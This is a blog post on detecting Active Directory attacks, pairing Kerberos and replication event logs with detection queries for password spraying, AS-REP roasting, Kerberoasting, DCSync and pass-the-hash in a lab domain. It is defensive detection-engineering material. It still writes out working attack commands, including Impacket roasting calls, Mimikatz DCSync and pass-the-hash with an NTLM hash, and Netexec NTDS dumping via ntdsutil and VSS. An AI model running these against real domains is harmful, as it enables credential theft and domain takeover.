Detecting Active Directory Attacks

Active Directory is the backbone of many enterprise environments, handling identity and access management. But, its critical role also makes it a prime target for attackers looking to compromise networks.

In this blog post, we will explore the IoCs associated with different tools like Impacket and Netexec and how to detect the various types of Active Directory attacks that are performed. The goal of this post is to serve as a valuable resource for both attackers and defenders. Attackers can learn how to modify their tools for better operational security, while defenders can gain a deeper understanding of attack techniques to enhance their detection capabilities and catch threats earlier.

This post was made by myself and my good friend Dylan Davis. Go check him out, he is awesome.

Here is the list of things we will be detecting:

• Password Spraying
• AS-REP Roasting
• Anomalous TGT request
• Kerberoasting
• Kerberoasting Without Preauthentication
• DCSyncs
  • Mimikatz's DCSync
  • Netexec's DCSync
• Detecting Pass-The-Hash
• Conclusion

Detecting Password Spraying

We were able to build detections for password spraying attacks against domain users from the Kerbrute tool when running the following command:

./kerbrute passwordspray usernames.txt "bP@ssw0rd" -d testlab.local --dc dc.testlab.local

When successful, 2 Kerberos TGT requests will be generated.

The first TGT request will have the Client Address as just as the IP 192.168.108.129, while the second TGT request will have the Client Address as ::ffff:192.168.108.129 which is completely normal looking.

However, both event logs will have a Ticket Options of 0x10 which is very suspicious as it is supposed to be 0x40810010 or 0x40810000.

We can alert on either of these a non ::ffff:ip Client Address and a Ticket Options of 0x10.

1st generated log - Event ID 4768:

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		bob
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\bob

Service Information:
    Service Name:		krbtgt
    Service ID:		TESTLAB\krbtgt

Network Information:
    Client Address:		192.168.108.129
    Client Port:		35136

Additional Information:
    Ticket Options:		0x10
    Result Code:		0x0
    Ticket Encryption Type:	0x12
    Pre-Authentication Type:	2
...

2nd generated log - Event ID 4768:

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		bob
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\bob

Service Information:
    Service Name:		krbtgt
    Service ID:		TESTLAB\krbtgt

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		49052

Additional Information:
    Ticket Options:		0x10
    Result Code:		0x0
    Ticket Encryption Type:	0x12
    Pre-Authentication Type:	2
...

Rule Name: Kerbrute Password Spray

Detection Query:

winlog.event_data.TicketOptions : "0x10" and winlog.event_id : "4768"

Rule Description: This is a potential password spraying attack from Kerbrute.

Detecting AS-REP Roasting

We were able to build detections for AS-REP Roasting attacks from the Impacket tool, GetNPUsers, when running the following command:

impacket-GetNPUsers -no-pass -usersfile npusers.txt testlab.local/

Using GetNPUsers to AS-REP Roast is interesting. It supplies an etype (encryption type) of 0x17 which is 23 in decimal meaning RC4 encryption. This is not normal as most environments will use AES256 which is 0x12 (18). Additionally, GetNPUsers supplies a Ticket Options of 0x50800000 which is also not normal as previously discussed. Lastly, we can see the Pre-Authentication type of 0 meaning a TGT was requested for the account without pre auth data (as-rep roast).

Using all of these together, we can easily detect an AS-REP Roast attack from Impacket’s GetNPUsers.

Generated log - Event ID: 4768

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		alice
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\alice

Service Information:
    Service Name:		krbtgt
    Service ID:		TESTLAB\krbtgt

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		44884

Additional Information:
    Ticket Options:		0x50800000
    Result Code:		0x0
    Ticket Encryption Type:	0x17
    Pre-Authentication Type:	0
...

Rule Name: AS-REP Roasting

Detection Query:

winlog.event_data.TicketOptions :"0x50800000" and winlog.event_data.TicketEncryptionType : "0x17" and winlog.event_data.PreAuthType : "0" and winlog.event_id : "4768"

Rule Description: This is a potential AS-REP Roasting attack from impacket-GetNPUsers.

However if an attacker is not a skid and knows how their tool works, they can easily modify this since Impacket is open source. Another approach will be to generate a honey pot account with a super secure password (something like 60+ characters to make it uncrackable), and make it look like a normal account that has logged in a couple times or changed its password. Then we can build a detection rule to check if a TGT is ever requested for this user. If so, then we caught the attacker.

Rule 2 Name: AS-REP Roast Honey Pot

Detection Query:

winlog.event_id : "4768" and user.name : "alice"

Rule Description: AS-REP Roasting Honey Pot user was detected.

Detecting Anomalous TGT request

We can detect when Impacket requests a TGT and Service Ticket. The Service Ticket request log is the same log generated when running Kerberoasting so that will be shown in that section, however the TGT request logs generated from Get-TGT and Kerberoasting are different so it is split up.

impacket-getTGT testlab.local/bob:'bP@ssw0rd'

Using Impacket’s getTGT requests a TGT with ticket options of 0x50800000 which is anomalous.

This 4768 log is generated from running getTGT and also the 4768 log from getST.

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		bob
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\bob

Service Information:
    Service Name:		krbtgt
    Service ID:		TESTLAB\krbtgt

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		56732

Additional Information:
    Ticket Options:		0x50800000
    Result Code:		0x0
    Ticket Encryption Type:	0x12
    Pre-Authentication Type:	2
...

Rule Name: A TGT was requested with Impacket

Detection Query:

winlog.event_id : "4768" and winlog.event_data.TicketOptions : "0x50800000" and winlog.event_data.TicketEncryptionType : "0x12" and winlog.event_data.PreAuthType : "2"

Rule Description:

This log is the result of Impacket requesting a TGT, most likely with impacket-GetTGT. This allows attackers to request TGTs likely to be used with Pass-The-Ticket (PTT).

Detecting Kerberoasting

We were able to build detections for Kerberoasting attacks from the Impacket tool, GetUserSPNs:

impacket-GetUserSPNs testlab.local/bob:'bP@ssw0rd' -request

When using GetUserSPNs to obtain both a TGT and then the service tickets, the event logs of 4768 & 4769 are incredibly anomalous and easily detectable.

Impacket will make the TGT request (event ID 4768) which will be generated with a Ticket Encryption Type: 0x17 (RC4) and Ticket Options: 0x50800000.

It will also make the service ticket requests (event ID 4769) with a Ticket Encryption Type: 0x17 (RC4) and Ticket Options: 0x40810010. (This 4769 log also looks exactly the same as the log generated from running getST, though the 4768 log from getST looks exactly like getTGT instead of the 4768 from GetUserSPNs).

Impacket will make the service ticket have an RC4 etype to make it easier to crack, but im not sure why they would also do the same for the TGT request. Seeing both of these logs is highly suspicious and most likely the result of running GetUserSPNs with the -request flag.

Note: This log does not match the 4768 log generated from getTGT or the 4768 from getST; it is unique.

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		bob
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\bob

Service Information:
    Service Name:		krbtgt
    Service ID:		TESTLAB\krbtgt

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		51172

Additional Information:
    Ticket Options:		0x50800000
    Result Code:		0x0
    Ticket Encryption Type:	0x17
    Pre-Authentication Type:	2
...

Rule Name: Kerberoasting with Impacket - TGT request

Detection Query:

winlog.event_id : "4768" and winlog.event_data.TicketOptions : "0x50800000" and winlog.event_data.TicketEncryptionType : "0x17" and winlog.event_data.PreAuthType : "2"

Rule Description: This log is the 4768 log generated from Kerberoasting with Impacket. The 4769 log that is generated matches with the log generated from impacket-GetST, however this 4768 does not match with impacket-GetTGT. Seeing this alert and then the ”Kerberoasting with Impacket - ST request” alert (the next alert shown below) afterwards is indicative of Kerberoasting with Impacket.

Kerberoasting Detection Rule 2

Note: This log matches with the 4769 that getST generates, so we can build a singular rule that detects both of these.

A Kerberos service ticket was requested.

Account Information:
    Account Name:		bob@TESTLAB.LOCAL
    Account Domain:		TESTLAB.LOCAL
    Logon GUID:		{94545896-fc6e-e45f-9932-ce3d48fdfa23}

Service Information:
    Service Name:		bob
    Service ID:		TESTLAB\bob

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		51190

Additional Information:
    Ticket Options:		0x40810010
    Ticket Encryption Type:	0x17
    Failure Code:		0x0
    Transited Services:	-
...

Rule Name: Kerberoasting with Impacket - ST request

Detection Query:

winlog.event_id : "4769" and winlog.event_data.TicketOptions : "0x40810010" and winlog.event_data.TicketEncryptionType : "0x17"

Rule Description:

This log is the 4769 log generated from Kerberoasting with Impacket. Note that this 4769 log that is generated matches with the log generated from impacket-getST (so no extra alert needed for that), however this 4768 does not match with impacket-GetTGT. Seeing this alert after the “Kerberoasting with Impacket - TGT request” alert is indicative of Kerberoasting with Impacket.

However, just like with AS-REP Roasting, attackers can modify their tool to bypass this detection. Another approach will be to generate a honey pot account with a super secure password. Then we can build a detection rule to check if a service ticket is ever requested for this user. If so, then we caught the attacker.

Detecting Kerberoasting Without Preauthentication

This is just like AS-REP roasting, except attackers are able to use the user that does not require pre-authentication to request service tickets to other SPNs by simply changing the target SPN from krbtgt to another SPN. This allows for kerberoasting without credentials. The resulting generated log looks like an AS-REP Roasting generated log except the “Service Name” will not be krbtgt.

impacket-GetUserSPNs -no-preauth "alice" -usersfile usernames -dc-host 192.168.108.139 testlab.local/

Here is the TGT request, event ID 4768. We can flag on all the stuff from AS-REP Roasting, as well as the service name not being krbtgt.

A Kerberos authentication ticket (TGT) was requested.

Account Information:
    Account Name:		alice
    Supplied Realm Name:	TESTLAB.LOCAL
    User ID:			TESTLAB\alice

Service Information:
    Service Name:		bob
    Service ID:		TESTLAB\bob

Network Information:
    Client Address:		::ffff:192.168.108.129
    Client Port:		47502

Additional Information:
    Ticket Options:		0x50800000
    Result Code:		0x0
    Ticket Encryption Type:	0x17
    Pre-Authentication Type:	0
...

Rule Name: Kerberoasting Without Pre-Authentication

Detection Query:

winlog.event_id : "4768" and winlog.event_data.TicketOptions : "0x50800000" and winlog.event_data.PreAuthType : "0" and not service.name : "krbtgt"

Rule Description: This log is the result of kerberoasting without pre-authentication using Impacket. This attack allows for obtaining service tickets without authenticating to the domain.

Detecting DCSyncs

We can detect DCSync attacks from both Mimikatz and Netexec.

Mimikatz has 1 method of performing a DCSync. You have to specify the user

Netexec has 3 methods of DCSync. You can specify the user like Mimikatz’s method, you can use ntdsutil.exe, or you can use Volume Shadow Copy Service (VSS).

Detecting Mimikatz’s DCSync

.\mimikatz.exe "lsadump::dcsync /user:"krbtgt" exit

To detect Mimikatz, we can look at the event logs it generates. In the event logs we can look at 1. the account name, and 2. the GUIDs for the type of replication.

A typical sync between domain controllers will generate a single event log 4662. Here are the 2 logs generated from 2 domain controllers in their own domain. Notice it’s only 1 log for each DC, and the account name is the domain controller machine account, and note the GUIDs in the properties field.

However, running a DCSync attack with Mimikatz will always generate 4 logs with event code ID 4662 “An operation was performed on an object”.

1. Account Name

   If we were a Domain Administrator user when we run a DCSync attack, we can see the Account Name would be anomalous because it’s supposed to be a Domain Controller machine account performing a sync, not a user account. Now you could elevate to system as a domain controller and then run a DCSync attack which would make the account name look normal. So this is why we also flag the GUIDs as shown below.

   

2. GUIDs

   Next is flagging the GUIDs. As mentioned before, Mimikatz will generate 4 logs. Logs 1 & 2 will look the same and have the same GUIDs. It will have a GUID of 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 which is DS-Replication-Get-Changes.

   

   

   Log 3 will look very different, however. It will not have a GUID beginning with 1131f6a and instead will have 89e95b76-444d-4c62-991a-0facbeda640c which is DS-Replication-Get-Changes-In-Filtered-Set.

   

   Log 4 will look very similar to Logs 1 & 2, but it will have a slightly different GUID. It will have a GUID of 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 which is DS-Replication-Get-Changes-All.

   

Bonus Notes

When performing a DCSync attack from outside of a domain controller, packets will be sent over the DCERPC, EPM, and DRSUAPI protocols.

However, if you execute a DCSync attack while on a domain controller, it will perform everything locally with the domain controller and no packets with the protocols mentioned above will be sent.

Detecting Netexec’s DCSync

There are 3 methods of performing a dcsync with netexec. 1. Using drsuapi to sync a single user, 2. ntdsutil.exe 3. vss.

1. Drsuapi to sync a single user

   The command to DCSync a single user with Netexec over the Drsuapi protocol is:

   nxc smb 192.168.108.139 -u Administrator -d testlab.local -p 'P@ssw0rd' --ntds --user krbtgt

   

   When using netexec to dump a specific user, it was generate 3 event id 4662 logs. The first 2 will have a normal GUID of 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, which is DS-Replication-Get-Changes.

   

   

   However the third generated log will have a GUID of 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 which is DS-Replication-Get-Changes-All.

   

   Again we can look for non domain controller machine accounts too, just like the Mimikatz detection.

2. ntdsutil.exe

   Netexec can perform a DCSync by using the LOLBIN (living off the land binary) ntdsutil.exe. ntdsutil.exe is not a common utility run on the environment. It does not blend in with day to day activities.

   nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' -M ntdsutil

   

   

   This is the chain of events when running the -M ntdsutil command. To detect this we can look for process creation with event id 1 and the process.command_line as any of the below.

   cmd.exe /Q /c powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\172963876' q q" 1> \Windows\Temp\QuGPmj 2>&1
   powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\172963876' q q"
   "C:\Windows\system32\ntdsutil.exe" "ac i ntds" ifm "create full C:\Windows\Temp\172963876" q q
   cmd.exe /Q /c rmdir /s /q C:\Windows\Temp\172963876 1> \Windows\Temp\vofITR 2>&1
   
   

   The first command executes the second which executes the third. The third created a directory called ‘172963876’ in C:\Windows\Temp and standard out was sent to a random file called vofITR with the following content below.

   

   This file then gets deleted with the rmdir command, and another file gets created in its place. Additionally, the ‘172963876’ directory contains the ntds.dit and the SECURITY and SYSTEM registry keys. This entire directory will be deleted shortly after.

   

   After the command is finished running, we will have the .tmp file and the new file with no file-extension remaining. Both of these will have no contents in them.

   

   Lastly, there will be lots of event id 4799 logs generated on the domain controller. (182 from my testing to be exact) with the process executable of either C:\Windows\System32\ntdsutil.exe or C:\Windows\System32\VSSVC.exe.

   

   We can build another alert for this.

3. Volume Shadow Copy Service (VSS)

   Lastly Netexec has an option to dump ntds.dit with the volume shadow copy service (VSS) using the following command:

   nxc smb 192.168.108.139 -u 'Administrator' -d testlab.local -p 'P@ssw0rd' --ntds vss

   

   Running this command will generate 2 logs. One event id 4904 and one 4905. The process executable will be C:\Windows\System32\VSSVC.exe.

   

   

   Netexec will run this command on the box:

   C:\Windows\system32\cmd.exe /Q /c echo C:\Windows\system32\cmd.exe /C vssadmin list shadows /for=C: ^> C:\Windows\Temp\__output > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat
   
   

   Then it will also run this command to copy the the shadow copy to C:\Windows\Temp

   C:\Windows\system32\cmd.exe  /C copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\Windows\NTDS\ntds.dit C:\Windows\Temp\yDBdCgmM.tmp 
   
   

   We can build a command line detection with the process command lines shown above and event code 1

   

Final DCSync detections:

1. Rule Name: Single User DCSync - Mimikatz or Netexec

   Detection Query:

   event.code:"4662" and (not message:"*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" or user.name !: "*$")

   Rule Description: This alert is the result of an event log id 4662 DCSync directory replication that doesn’t come from a machine account name, OR has a GUID in the properties not equal to 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

2. Rule Name: Netexec Ntdsutil DCSync Module - Anomalous Event Logs

   Detection Query:

   event.code:"4799" and (winlog.event_data.CallerProcessName:"C:\Windows\System32\ntdsutil.exe" or winlog.event_data.CallerProcessName:"C:\Windows\System32\VSSVC.exe")

   Rule Description: This alert is the result of detected event logs that align with Netexec’s ntdsutil module to perform a DCSync attack by looking for event id 4799 with the process executable name of C:\Windows\System32\ntdsutil.exe or C:\Windows\System32\VSSVC.exe

3. Rule Name: Netexec Ntdsutil DCSync Module - Command Line Detection

   Detection Query:

   event.code:"1" and ((message:"*cmd.exe /Q /c powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\*" and message:" q q\" 1> \Windows\Temp\*" and message:"*2>&1*") or (message:"*powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\*" and message:"*' q q\"*") or (message:"*\"C:\Windows\system32\ntdsutil.exe\" \"ac i ntds\" ifm \"create full C:\Windows\Temp\*" and message:"*\"q q") or (message:"*cmd.exe /Q /c rmdir /s /q C:\Windows\Temp\*" and "*1> \Windows\Temp\*" and "*2>&1*"))

   Rule Description: This is another alert as a result of Netexec’s ntdsutil module to perform a DCSync attack by looking for process creation with event id 1 and the process.command_line as any of the below:

   cmd.exe /Q /c powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\*' q q" 1> \Windows\Temp\* 2>&1
   powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\*' q q"
   "C:\Windows\system32\ntdsutil.exe" "ac i ntds" ifm "create full C:\Windows\Temp\*" q q
   cmd.exe /Q /c rmdir /s /q C:\Windows\Temp\* 1> \Windows\Temp\* 2>&1
   
   

4. Rule Name: Netexec Ntds VSS Option - Command Line Detection

   Detection Query:

   event.code:"1" and (message:"*C:\Windows\system32\cmd.exe /Q /c echo C:\Windows\system32\cmd.exe /C vssadmin list shadows /for=C: ^> C:\Windows\Temp\__output > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat*" or message:"*C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat*" or message:"*C:\Windows\system32\cmd.exe /C vssadmin list shadows /for=C:*" or message:"*vssadmin list shadows /for=C:*" or message:"*C:\Windows\system32\vssvc.exe*" or (message:"*C:\Windows\system32\cmd.exe /Q /c echo C:\Windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\Windows\NTDS\ntds.dit C:\Windows\Temp\*" and message:"*C:\Windows\Temp\__output > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat*") or message:"*C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat*" or message:"*C:\Windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\Windows\NTDS\ntds.dit C:\Windows\Temp\*")

   Rule Description: This alert is the result of Netexec’s VSS option to perform a DCSync attack by looking for process creation with event id 1 and the process.command_line as any of the below:

   C:\Windows\system32\cmd.exe /Q /c echo C:\Windows\system32\cmd.exe /C vssadmin list shadows /for=C: ^> C:\Windows\Temp\__output > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat
   C:\Windows\system32\cmd.exe  /C copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\Windows\NTDS\ntds.dit C:\Windows\Temp\*.tmp 
   
   

5. Rule Name: Netexec Ntds VSS Option - Event Log Detection

   Detection Query:

   (event.code: 4904 OR event.code: 4905) AND process.executable: "C:\Windows\System32\VSSVC.exe"

   Rule Description: This is another alert as a result of Netexec’s VSS option to perform a DCSync attack by looking for generated event logs ID 4904 and 4905 with process executable name of C:\Windows\System32\VSSVC.exe

Detecting Pass-The-Hash

We dumped LSASS with Mimikatz using sekurlsa::logonPasswords full

• Got the hash of the DC: 217e50203a5aba59cefa863c724bf61b

  

• To perform the PTH attack, we ran the command

  sekurlsa::pth /user:Administrator /domain:RvB.local/ntlm:217e50203a5aba59cefa863c724bf61b

• We then were able to get a root shell on the Domain Controller authenticating as the Administrator account, as shown by the command prompt whoami /user command.

  

• Event ID 4624 (Successful Account Logon)

  • Logon Type: 9 (NewCredentials): This logon type shows that credentials were used to create a new session without re-authenticating. Mimikatz abuses this type to inject credentials into a session, allowing attackers to impersonate other users or escalate privileges.

  • Logon GUID: All zeros: The absence of a valid GUID indicates that this logon was network-based and not linked to a direct interactive session. This is typical of pass-the-hash or pass-the-ticket techniques, where an attacker uses stolen credentials without the original logon process.

    

• Event ID 4624 (Successful Account Logon):

  • This event confirms that a logon occurred successfully, with the SYSTEM account being used, as seen from the Security ID and Account Name.
  • The Logon ID of 0x169AB5D identifies this specific logon session. This is a key to track because it links all actions associated with this logon.

• Event ID 4672 (Special Privileges Assigned to New Logon):

  • This event occurs when special privileges, such as SeTcbPrivilege or SeDebugPrivilege, are assigned during the logon process. These privileges are typical for high-level accounts like SYSTEM or Administrator.
  • The Logon ID is 0x169AB5D, matching the logon ID from Event 4624. This direct correlation indicates that the same logon session (likely using a hash) was granted elevated privileges.

By correlating Event ID 4624 and Event ID 4672 using the shared Logon ID (0x169AB5D), it is clear that the logon session gained special privileges. This suggests that the Pass-the-Hash attack was successful, where the we used the NTLM hash of a privileged account to gain access and escalate privileges, as evidenced by the special privileges being assigned

This Sysmon Event ID 1 log shows the cmd.exe process running Mimikatz with SYSTEM-level privileges:

• Process: cmd.exe was used, spawned by Mimikatz.exe from the user’s Downloads folder.

• User: The process ran under NT AUTHORITY\SYSTEM, confirming elevated privileges.

• Logon ID (0x169AB5D): This links to the previous session where credentials were stolen using Mimikatz.

• Parent Process: Mimikatz.exe, indicating manual execution of the tool.

  

1. PowerShell Execution

• PowerShell.exe was executed under the Administrator account.

2. Mimikatz Execution

• Mimikatz.exe was initiated directly after PowerShell, which is an indicator for credential dumping. The 4-minute execution window indicates the “attacker” was extracting credentials from memory.

3. Command Prompt Execution (cmd.exe)

• Following Mimikatz, cmd.exe ran under the SYSTEM account, signaling privilege escalation.

4. conhost.exe Termination

• conhost.exe termination marks the close end of the SYSTEM session.

Detection Query:

winlog.event_id: ("4624" and "4672") and winlog.event_data.LogonProcessName: "seclogo"

Rule Description:

Potential Pass-The-Hash / Credential Abuse

• Event ID 4624: Successful logon.
• Event ID 4672: Special privileges assigned to the logged-in user.
• LogonProcessName: “seclogo”: Indicates the logon used NTLM for network-based authentication.

This flags events where a privileged account logs in over a network and is immediately granted elevated rights, which can indicate credential abuse or attack.

Conclusion

Building effective detections for various attacks is crucial to staying one step ahead of attackers. As we've seen, many tools have identifiable characteristics that can help in detecting malicious activity. However, attackers can easily modify these tools to evade detection. Therefore, it is important to not only detect the tools but also the behavior of the attacks themselves for stronger and more resilient detections.

Hopefully, this blog has provided valuable insights into how different tools and attacks work, allowing defenders to improve their detections while also helping attackers refine their operational security.